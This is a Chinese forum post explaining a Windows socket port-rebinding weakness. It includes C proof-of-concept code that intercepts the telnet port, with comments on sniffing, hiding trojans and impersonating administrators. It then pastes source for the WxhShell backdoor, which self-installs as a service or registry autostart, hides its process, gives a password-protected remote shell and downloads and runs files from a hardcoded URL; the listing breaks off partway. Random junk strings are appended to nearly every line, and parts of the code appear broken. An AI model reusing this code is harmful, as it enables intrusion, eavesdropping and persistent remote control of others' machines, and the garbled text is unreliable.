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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TXl9c 6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i4r~eneP  
W1`ZS*12D  
  saddr.sin_family = AF_INET; H&IP>8Dk  
kj=2+)!E7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z|dZc wo  
x2wWp-Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =F[,-B~  
J5IJy3d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &D w~Jq|  
XJ?z{gXJ  
  这意味着什么?意味着可以进行如下的攻击: bK1`a{  
}B/xQsTx-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )II,HT-LY  
kP@OIhRe  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) becQ5w/~  
N|vJrye  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *~^^A9C8  
I>Yp=R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J vsB^F.4  
;_&L^)~P$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -- FtFo  
H,~In2Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K(<P" g(  
C8q-gP[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S]g)^f'a65  
xyz86r ^u  
  #include O_Q,!&*6  
  #include m/nn}+*C  
  #include }TvAjLIS6  
  #include    b7j#a#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x&Rp m<4  
  int main() .utL/1Ej  
  { our5k   
  WORD wVersionRequested; @R{&>Q:.  
  DWORD ret; Sn&%epi  
  WSADATA wsaData; 0eP~F2<bC  
  BOOL val; rRel\8  
  SOCKADDR_IN saddr; mIodD)?{  
  SOCKADDR_IN scaddr; ]XyJ7esg  
  int err; ,u2<()`8D  
  SOCKET s; {Aw3Itef  
  SOCKET sc; miSC'!  
  int caddsize; heA\6W:u&  
  HANDLE mt; j(JI$  
  DWORD tid;   r+u\jZ  
  wVersionRequested = MAKEWORD( 2, 2 ); "O "@HVF@  
  err = WSAStartup( wVersionRequested, &wsaData ); LL+rd xJO^  
  if ( err != 0 ) { $@;[K \  
  printf("error!WSAStartup failed!\n"); Y;>'~V#R  
  return -1; _Tz!~z  
  } ERjf.7)d  
  saddr.sin_family = AF_INET; ,#l oVLy  
   {o`5&EoM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HfPeR8I%i  
]du~V?N   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); etVE8N'  
  saddr.sin_port = htons(23); qa0Zgn5q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ip x:k+J  
  { r%i{a  
  printf("error!socket failed!\n"); GkFNLM5'  
  return -1; mgWtjV 8  
  } ,P+&-}gn9  
  val = TRUE; ]\lw^.%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S\m]ze  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {5h_$a!TaU  
  { ~fe0Ba4  
  printf("error!setsockopt failed!\n"); R?Qou!*]  
  return -1; w=$_',5#Z  
  } O"Q=66.CR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; , +^db)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qDW/8b\^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &Is%I<'o  
_?"J.i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1Rh&04O>VL  
  { q8J/tw?%v  
  ret=GetLastError(); \q>,c49a{  
  printf("error!bind failed!\n"); p:jrqjLp  
  return -1; 4]GyuY  
  } "x11 YM{F  
  listen(s,2); K2QD&!4/T2  
  while(1) EbQ}w"{  
  { 7vFqO;  
  caddsize = sizeof(scaddr); o&zV8DE_v  
  //接受连接请求 >+r2I%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y~fy0P:T  
  if(sc!=INVALID_SOCKET) 79v&6Io  
  { C1J'. !  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >Vvc55z  
  if(mt==NULL) a/ZfPl0Ns[  
  { bQ%^l#H_n'  
  printf("Thread Creat Failed!\n"); *K;~V  
  break; dj=n1f+;[  
  } ?S_S.Bd  
  } [o~w>,a  
  CloseHandle(mt); ])`F$S  
  } cmTZ))m  
  closesocket(s); 1gC=xMAT  
  WSACleanup(); l},%g%}iMU  
  return 0; !q X 7   
  }   Buo1o&&  
  DWORD WINAPI ClientThread(LPVOID lpParam) F~B8XUa3  
  { mXr)lA  
  SOCKET ss = (SOCKET)lpParam; ~LVa#  
  SOCKET sc; k`-L5#`  
  unsigned char buf[4096]; >g?,BK@  
  SOCKADDR_IN saddr; 0V^?~ex  
  long num; Pw")|85  
  DWORD val; ,MLPVDN*D  
  DWORD ret; ZA!vxQ?P,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |^1eL I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dL"v*3Fy  
  saddr.sin_family = AF_INET; Y/ `fPgE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M1^pW 63  
  saddr.sin_port = htons(23); f /jN$p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]?kf;A@  
  { .Ee8s]h5W  
  printf("error!socket failed!\n"); R\<^A~(Gl  
  return -1; qRU8uu   
  } a^2?W  
  val = 100; AOTI&v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o5)U3U1|  
  { znM"P|A  
  ret = GetLastError(); QKVZ![Y!s  
  return -1; ;{>z\6N  
  } A81kb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ua0k)4|  
  { Hi ?],5,/  
  ret = GetLastError(); cD{[rI E3  
  return -1; f[.]JC+,  
  } w}'E]y2.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s?=J#WV1y  
  { k\EMO\je  
  printf("error!socket connect failed!\n"); lVqvS/_k$  
  closesocket(sc); t?/#:J*_7  
  closesocket(ss); 0s4%22  
  return -1; BqR8%F  
  } <uA|nYpp  
  while(1) tnp]wZ  
  { nOOA5Gz   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8Uc#>Ae'_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 50CU|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t.]oLG22r  
  num = recv(ss,buf,4096,0); ?bbguwo~F  
  if(num>0) /9 [nogP  
  send(sc,buf,num,0); ; LTc4t  
  else if(num==0) .>&kA f.  
  break; sB /*gO  
  num = recv(sc,buf,4096,0); lT*Hj.  
  if(num>0) sR#( \  
  send(ss,buf,num,0); )u<sEF  
  else if(num==0) lqu1H&  
  break; +`\C_i-  
  }  37{mhU  
  closesocket(ss); 0e3 aWn  
  closesocket(sc); T#T!a0  
  return 0 ; [t,7H  
  } IX-ir  
#VD[\#  
1J^{h5?lU  
========================================================== xez~Yw2  
n;4` IK|  
下边附上一个代码,,WXhSHELL {ImZ><xe/  
!x|Ok'izDL  
========================================================== ?/NxZ\  
^cd+W?  
#include "stdafx.h" 3%'$AM}+s  
C 2FewsRz  
#include <stdio.h> 8L.Y0_x  
#include <string.h> ->:G+<  
#include <windows.h> 4mUQVzV  
#include <winsock2.h> FjVC&+c  
#include <winsvc.h> `AQv\@wp  
#include <urlmon.h> b=.Ikt+y  
@ScH"I];uA  
#pragma comment (lib, "Ws2_32.lib") 3-srt^>w*  
#pragma comment (lib, "urlmon.lib") 'ym/@h7h  
]uj6-0q){W  
#define MAX_USER   100 // 最大客户端连接数 _G,`s7Q,w  
#define BUF_SOCK   200 // sock buffer 79=w]y  
#define KEY_BUFF   255 // 输入 buffer H/Y ZwDx,i  
4Rp2  
#define REBOOT     0   // 重启  g&#.zJ[-  
#define SHUTDOWN   1   // 关机 6 O!&!  
g#T8WX{(V  
#define DEF_PORT   5000 // 监听端口 #GY;.,  
Jah~h44&  
#define REG_LEN     16   // 注册表键长度 OcwD<Xy  
#define SVC_LEN     80   // NT服务名长度 rhsSV3iM  
+t})tDPXw  
// 从dll定义API O#uTwnW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G(EiDo&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $-EbJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }L3kpw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #B_ ``XV  
M9[Fx= qY  
// wxhshell配置信息 rB~x]5TH  
struct WSCFG { eI/9uR%  
  int ws_port;         // 监听端口 ]=m '| 0}  
  char ws_passstr[REG_LEN]; // 口令 ;|5m;x/a  
  int ws_autoins;       // 安装标记, 1=yes 0=no m\)z& hv<r  
  char ws_regname[REG_LEN]; // 注册表键名 4jfkCU  
  char ws_svcname[REG_LEN]; // 服务名 2xN1=ug  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D9*GS_K2 t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a2 e-Q({  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 al.~[T-O+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q["CT&0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~q 0)+'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DJ2EV^D+P  
Py3Xvudv  
}; yZE"t[q#O  
I9-vV>:z  
// default Wxhshell configuration 2;VggPpT  
struct WSCFG wscfg={DEF_PORT, nlQ<Aa-%  
    "xuhuanlingzhe", yCy4t6`e  
    1, v}q3_m]   
    "Wxhshell", (iXo\y`z  
    "Wxhshell", p,.+i[V  
            "WxhShell Service", !/^i\)j>](  
    "Wrsky Windows CmdShell Service", ]([:"j  
    "Please Input Your Password: ", s-!Bpr16o0  
  1, \$n?J(N  
  "http://www.wrsky.com/wxhshell.exe", [#S}L(  
  "Wxhshell.exe" [4KW64%l  
    }; rnz9TmN:*1  
8.3888  
// 消息定义模块 gDU~hv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |!NKKvf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 484lB}H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k\W%^Z  
char *msg_ws_ext="\n\rExit."; z;yb;),  
char *msg_ws_end="\n\rQuit."; c+|,q m  
char *msg_ws_boot="\n\rReboot..."; K<'L7>s3lA  
char *msg_ws_poff="\n\rShutdown..."; ~GZ!;An  
char *msg_ws_down="\n\rSave to "; ">PpC]Y1  
t2d _XQOK  
char *msg_ws_err="\n\rErr!"; `@eo <6  
char *msg_ws_ok="\n\rOK!"; ,y@`wq>O  
R{uq8NA- W  
char ExeFile[MAX_PATH]; @|! 9~F  
int nUser = 0; \' (_r  
HANDLE handles[MAX_USER]; (ds-p[`[m  
int OsIsNt; 3)ac  
ICwhqH&  
SERVICE_STATUS       serviceStatus; Q|/uL`_ni  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !m)P*Lw  
02OL-bv}HS  
// 函数声明 1~/?W^ir  
int Install(void); %"Tn=fZIF  
int Uninstall(void); EooQLZ  
int DownloadFile(char *sURL, SOCKET wsh); 72@lDY4cE  
int Boot(int flag); #n&/yYl9(l  
void HideProc(void); V9 qZa  
int GetOsVer(void); <>\s#Jf/  
int Wxhshell(SOCKET wsl); HPJ\]HV(  
void TalkWithClient(void *cs); aN9#ATE  
int CmdShell(SOCKET sock); U%oh ?g  
int StartFromService(void); [C 1o9c!  
int StartWxhshell(LPSTR lpCmdLine); ue8Cpn^M  
dm;H0v+Y'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ` QC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &<8Q/m]5  
PR rf$& u  
// 数据结构和表定义 j/"{tMqQp  
SERVICE_TABLE_ENTRY DispatchTable[] = GQ<]Sd}[  
{ Sj?u^L8es}  
{wscfg.ws_svcname, NTServiceMain}, X :2%U  
{NULL, NULL} \\;i  
}; g=w,*68vuy  
{;.q?mj  
// 自我安装 Exir?G}\  
int Install(void) 0].x8{~o  
{ Fe8JsB-  
  char svExeFile[MAX_PATH]; ZI"L\q=|0#  
  HKEY key; S;a'@5  
  strcpy(svExeFile,ExeFile); eeI aH >  
2uonT,W  
// 如果是win9x系统,修改注册表设为自启动 {ctEjgiE  
if(!OsIsNt) { ke.{wh\0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 52+;j[ ]/O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yKE[,"  
  RegCloseKey(key); 0Y rdu,c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x1:#rb'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~"\qX+  
  RegCloseKey(key); [e1kfw  
  return 0; d D6I @N)X  
    } [$; \1P/  
  } m)G=4kK52-  
} v(ABZNIn  
else { =+um:*a.  
Hya  ";'  
// 如果是NT以上系统,安装为系统服务 !'uLV#YEZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wxjv=#3  
if (schSCManager!=0) 3{e7j6u\  
{ mNcoR^(VN  
  SC_HANDLE schService = CreateService mKWfRx*UdG  
  ( C)^FRnb  
  schSCManager, uP,{yna(  
  wscfg.ws_svcname, X8!=Xjl)  
  wscfg.ws_svcdisp, L #'N  
  SERVICE_ALL_ACCESS, cY/!z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GKPC9;{W  
  SERVICE_AUTO_START, npcB+6  
  SERVICE_ERROR_NORMAL, F\m  
  svExeFile, Eyw)f>  
  NULL, \Y'#}J"dh  
  NULL, iG<rB-"  
  NULL, H^jFvAI,8  
  NULL, + -e8MvP  
  NULL hK=\O)  
  ); /m,0H)w1  
  if (schService!=0) $YDZtS&h  
  { p%304oP6  
  CloseServiceHandle(schService); 7?6?`no~JJ  
  CloseServiceHandle(schSCManager); UN`F|~@v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [BS3y`c  
  strcat(svExeFile,wscfg.ws_svcname); jF}zv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { />fP )56*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 33d86H% ;  
  RegCloseKey(key); ?DVO\ Cp  
  return 0; HgG-r&r!2  
    } #plwK-tPR  
  } fgFBOpG%Gq  
  CloseServiceHandle(schSCManager); ]2n&DJu  
} ld1t1'I'  
} 7^k`:Z  
|(Zv g}c_  
return 1; pL$UI3VCP  
} yhr\eiJ@6  
,x5`5mT3  
// 自我卸载 ? WWnt^  
int Uninstall(void) 02X~' To"  
{ s~$kzEtjjU  
  HKEY key; W38My j!  
1Giy|;2/  
if(!OsIsNt) { kr7f<;rmJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $Aww5G5e  
  RegDeleteValue(key,wscfg.ws_regname); Egt;Bj#%  
  RegCloseKey(key); sm}q&m]ad  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W|=?-  
  RegDeleteValue(key,wscfg.ws_regname); .<v0y"amJ  
  RegCloseKey(key); >HnD'y*  
  return 0; @f0~a  
  } ?8Cxt|o>  
} k ]x64hgm  
} >]"5K<-1  
else { y]=v+Q*+  
E66e4?"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JGZ,5RTq4-  
if (schSCManager!=0) 9QJ=?bIC#  
{ xc R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A <iF37.  
  if (schService!=0) I"3Qdi  
  { xZFha=#  
  if(DeleteService(schService)!=0) { pRXA!QfO  
  CloseServiceHandle(schService); /-4i"|  
  CloseServiceHandle(schSCManager); _6qf>=qQ`"  
  return 0; TEB%y9  
  } Kv+E"2d  
  CloseServiceHandle(schService); ~=%eOoZP;c  
  } e~J% NU'&  
  CloseServiceHandle(schSCManager); !'ajpK  
} T~Jl{(s9)  
} m&,d8Gss^  
jL 8&  
return 1; $ sEe0  
} O<f_-n@G|  
KBzEEvx/$  
// 从指定url下载文件 2DTH|Yv  
int DownloadFile(char *sURL, SOCKET wsh) mMrvr9%  
{ +Qu~UK\   
  HRESULT hr; o&*1Mx<+  
char seps[]= "/"; e kI1j%fO  
char *token; ~n]:f7?I  
char *file; @Qruc\_  
char myURL[MAX_PATH]; `;*=2M<c  
char myFILE[MAX_PATH]; %Iv+Y$'3B  
]ZO^@sH  
strcpy(myURL,sURL); 8<)[+ @$0  
  token=strtok(myURL,seps); ,0<|&D  
  while(token!=NULL) 8XX ,(k_b  
  { E3,Z(dpX!  
    file=token; 0g]ABzTn  
  token=strtok(NULL,seps); sPkT>q  
  } wi*Ke2YKP  
u9mMkzgSkP  
GetCurrentDirectory(MAX_PATH,myFILE); `mw@"  
strcat(myFILE, "\\"); ^fnRzX  
strcat(myFILE, file); ^ 9;s nr  
  send(wsh,myFILE,strlen(myFILE),0); q7 Uu 8JXF  
send(wsh,"...",3,0); O|7q,bEm^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |[!xLqG  
  if(hr==S_OK) <%pi*:E|  
return 0; S)g5Tu)  
else F\-qXSA  
return 1; ~ D3'-,n[  
@!%<JZEz3  
} UfcM2OmbK  
y*Ex5N~JC  
// 系统电源模块 '{OZ[$E  
int Boot(int flag) kTC6fNj[  
{ 2!" N9Adt  
  HANDLE hToken; E}1[&  
  TOKEN_PRIVILEGES tkp; Mw+]*  
"2=v?,'t  
  if(OsIsNt) { TSuHY0. cp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q*KEODR8\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); % ;6e@U}  
    tkp.PrivilegeCount = 1; RqcX_x(p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *5|\if\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9B*SWWAj  
if(flag==REBOOT) { ]@WJ&e/'@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 40q8,M  
  return 0; LClPAbr  
} [#2= w  
else { TH6g:YP`7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6o,, w^  
  return 0; "=/XIM.  
} PU-;Q@< E  
  } tnKzg21%  
  else { 0n3O;=[aV  
if(flag==REBOOT) { 4Q3Q.(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jkPXkysm  
  return 0; i-&kUG_X  
} M)3h 4yQ  
else { qe\j$Cjy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LW,!B.`@  
  return 0; dd$\Q  
} l}<s~ip  
} f Z\Ev%F  
#UGbSOoCtn  
return 1; ?|8H $1  
} EzthRe9  
St&XG>nWS  
// win9x进程隐藏模块 hr)TC-  
void HideProc(void) ,~G[\2~p  
{ J/ rQ42d  
R?]>8o,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b!UT<:o  
  if ( hKernel != NULL ) A 7TP1  
  { 4NbC V)Dm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oM< &4F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b\;QR?16R  
    FreeLibrary(hKernel); V#sANi?mpo  
  } T`vj6F  
-|ee=BV  
return; Zi|'lHr  
} ?DpMR/  
A}oR,$D-  
// 获取操作系统版本 ,rTR |>Z  
int GetOsVer(void) 0 J ANj  
{ ^TB%| yZ _  
  OSVERSIONINFO winfo; Lqz}h-Ei  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0ED(e1K#B  
  GetVersionEx(&winfo); u/hD9g~H7K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BfhOe~+i  
  return 1; f)gA.Rz  
  else zJ@f {RWZa  
  return 0; 0WYVt"|;}c  
} 9BHl 2<&V  
^yBx.GrQc  
// 客户端句柄模块 PRf2@0ZV  
int Wxhshell(SOCKET wsl) @dO~0dF  
{ 1k "*@Z<  
  SOCKET wsh; -+c_TJ.dC  
  struct sockaddr_in client; Ak|j J  
  DWORD myID; _D z4 }:9  
aIJ[K  
  while(nUser<MAX_USER) =SLJkw&w6  
{ w'cZ\<N[  
  int nSize=sizeof(client); n {^D_S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jd)|== yD  
  if(wsh==INVALID_SOCKET) return 1; N )&3(A@  
4xg%OH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P^.L0T5g  
if(handles[nUser]==0) B \[P/AC  
  closesocket(wsh); .K:>`~<)  
else Vx?a&{3]-  
  nUser++; K{"(|~=U  
  } |?{Zx&yUw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tpkm\_  
Qs</.PO  
  return 0; Z wIsEJz  
} >'E'Mp.  
2sWM(SN  
// 关闭 socket %'@&j2j>  
void CloseIt(SOCKET wsh) dt ;R  
{ q[**i[+%  
closesocket(wsh); I?5#Q0,b  
nUser--; FRX'"gIR0  
ExitThread(0); ={8ClUV#  
} 7e>n{rl  
;R|5sCb/m  
// 客户端请求句柄 ;v>2z!M  
void TalkWithClient(void *cs) 8 w^i  
{ 1j3mTP  
BW z*!(   
  SOCKET wsh=(SOCKET)cs; e3\*Np!rTQ  
  char pwd[SVC_LEN]; ANi}q9SC  
  char cmd[KEY_BUFF]; 8@Y]dz gjj  
char chr[1]; 53@*GXzE  
int i,j; ~B|K]&/]  
c?j/ H$  
  while (nUser < MAX_USER) { aJK8G,Vk  
FL"7u2rh,  
if(wscfg.ws_passstr) { )0~zL} )?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f*LDrAf9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )>C,y`,  
  //ZeroMemory(pwd,KEY_BUFF); *)H?d  
      i=0; 6# ,2  
  while(i<SVC_LEN) { $x#Y\dpS  
D3|y|Dr  
  // 设置超时 j^mAJ5  
  fd_set FdRead; $5s?m\!jZz  
  struct timeval TimeOut; Nz\=M|@(#  
  FD_ZERO(&FdRead); pa4zSl  
  FD_SET(wsh,&FdRead); %9uLxC;  
  TimeOut.tv_sec=8; '%l<33*  
  TimeOut.tv_usec=0; r` HtN{6r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \l"1Io=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +MvcW.W~  
`og 3P:y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v&(PM{3o  
  pwd=chr[0]; :Fm;0R@/k  
  if(chr[0]==0xd || chr[0]==0xa) { tF+m/}PM^  
  pwd=0; ~jQ|X?tR  
  break; wG ua"@IE  
  } 8rx?mX,}  
  i++; 4l<%Q2  
    } [:&4Tp*C  
j(AN] g:  
  // 如果是非法用户,关闭 socket DZ<q)EpC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >;-.rJFr  
} {U= Mfo?AH  
@A GM=v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vR[XbsNM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,9SBGxK5`  
U%.OH?;f  
while(1) { Oe:+%p  
airg[dK  
  ZeroMemory(cmd,KEY_BUFF); F=?0:2P0bD  
>> yK_yg  
      // 自动支持客户端 telnet标准   {ss^L  
  j=0; HC_+7O3A  
  while(j<KEY_BUFF) { }TI"j{(QJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~4IkQ|,  
  cmd[j]=chr[0]; >r J9^rS  
  if(chr[0]==0xa || chr[0]==0xd) { (v+nn1,  
  cmd[j]=0; {]-AuC2E/0  
  break; t@m!k+0  
  } 9ozN$:  
  j++; -9W)|toWb"  
    } olda't  
cih[A2lp  
  // 下载文件 &m<:&h& b  
  if(strstr(cmd,"http://")) { ~U"puEftbs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O1]L4V1iH  
  if(DownloadFile(cmd,wsh)) jRdmQ mTJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1fajTT?  
  else r Z)?uqa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4k%y*L  
  } &q8oalh  
  else { Ilf;Q(*$>>  
R2K{vs  
    switch(cmd[0]) { 9vX~gh{]~  
  EH1GdlhA  
  // 帮助 N(ov.l;  
  case '?': { l5; SY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [ {@0/5i  
    break; `hpX97v  
  } %BBM%Lj  
  // 安装 ' tyblj C  
  case 'i': { K3g<NC  
    if(Install()) ^W8kt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #^FDG1=  
    else $F&m('aB8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ut/3?E1 Z  
    break; `_;sT8  
    } -/)>DOgUq  
  // 卸载 z:gp\  
  case 'r': { k4i*80  
    if(Uninstall()) } X|*+<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A  [c1E[  
    else ~9ZW~z'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M_BG :P5  
    break; |^:qJ;dOP  
    } 2oBT _o%/J  
  // 显示 wxhshell 所在路径 xa"8"8  
  case 'p': { ;URvZ! {/Z  
    char svExeFile[MAX_PATH]; L|hoA9/]  
    strcpy(svExeFile,"\n\r"); =%=lq0GF0  
      strcat(svExeFile,ExeFile); NpPuh9e{  
        send(wsh,svExeFile,strlen(svExeFile),0); -|.Izgc  
    break; %noByq,?  
    } U\'HB.P\  
  // 重启 a]S0|\BkN  
  case 'b': { \>]C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &2P=74\=  
    if(Boot(REBOOT)) I5%#A/|z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1SK|4Am  
    else { L ^E#"f  
    closesocket(wsh); d!P3<:+R[  
    ExitThread(0); T9'd?nw9  
    } zBjtPtiiI8  
    break; Mil+> X0  
    } VzTHW5B  
  // 关机 uB@~xQ_V  
  case 'd': { ,wYA_1$$H  
